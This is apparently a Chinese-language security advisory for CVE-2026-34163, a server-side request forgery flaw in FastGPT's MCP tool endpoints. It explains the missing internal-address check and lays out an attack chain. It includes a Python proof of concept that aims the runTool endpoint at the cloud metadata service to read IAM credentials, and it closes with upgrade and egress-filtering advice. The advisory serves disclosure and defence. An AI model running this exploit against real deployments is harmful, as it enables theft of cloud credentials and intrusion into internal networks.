IPBUF安全漏洞报告
English
CVE-2026-34163 CVSS 7.7 高危

CVE-2026-34163 FastGPT服务器端请求伪造漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34163
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FastGPT

相关标签

SSRFFastGPT内网扫描信息泄露CVE-2026-34163

漏洞概述

FastGPT是一个AI智能体构建平台。在4.14.9.5版本之前,其MCP工具相关接口存在服务器端请求伪造(SSRF)漏洞。攻击者可通过构造恶意URL参数,绕过内网地址校验,利用服务器发起HTTP请求。该漏洞允许经过身份认证的攻击者扫描内网、访问云元数据服务,甚至与MongoDB和Redis等内部服务交互,造成敏感信息泄露。

技术细节

该漏洞产生于FastGPT的MCP(模型上下文协议)工具端点,具体涉及`/api/core/app/mcpTools/getTools`和`/api/core/app/mcpTools/runTool`接口。这些接口接受用户提供的URL参数,并代表用户在服务器端发起HTTP请求。尽管FastGPT代码库中包含用于SSRF防护的`isInternalAddress()`函数(用于判断URL是否指向内网),且在HTTP工作流节点中已正确调用,但在MCP工具端点的实现中却遗漏了该关键校验步骤。攻击者可利用低权限账户(PR:L)向这些端点发送包含内网地址(如127.0.0.1、169.254.169.254)的请求。由于缺乏校验,服务器将代为访问这些内部资源。利用此漏洞,攻击者可以探测内网开放端口、读取云平台元数据服务(如AWS IAM凭证)或直接与后端数据库(如MongoDB、Redis)交互,导致严重的数据泄露风险。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册或获取一个FastGPT平台的低权限账户,获取有效的API Token或Session。
STEP 2
2. 构造恶意请求
攻击者向`/api/core/app/mcpTools/runTool`接口发送POST请求,在参数中填入内网敏感地址(如云元数据服务地址169.254.169.254)。
STEP 3
3. 服务端请求
FastGPT服务器接收到请求后,由于未进行内网地址校验,直接向攻击者指定的内网地址发起HTTP请求。
STEP 4
4. 获取敏感信息
攻击者接收服务器返回的响应内容,成功获取内网服务信息、云凭证或数据库数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://<fastgpt-host>/api/core/app/mcpTools/runTool" attacker_token = "<valid_auth_token>" # Internal target (e.g., Cloud Metadata Service) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Payload construction payload = { "url": internal_target } headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } try: # Send the malicious request response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("[+] Response from internal service:") print(response.text) else: print(f"[-] Request failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

FastGPT < 4.14.9.5

防御指南

临时缓解措施
建议立即升级FastGPT到修复版本4.14.9.5。如果无法立即升级,应在网络层面对服务器实施出站访问控制(Egress Filtering),阻断对169.254.169.254等云元数据IP以及127.0.0.1等内网回环地址的访问。同时,可以通过WAF策略对请求体中的URL参数进行正则匹配,拦截包含内网IP特征的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表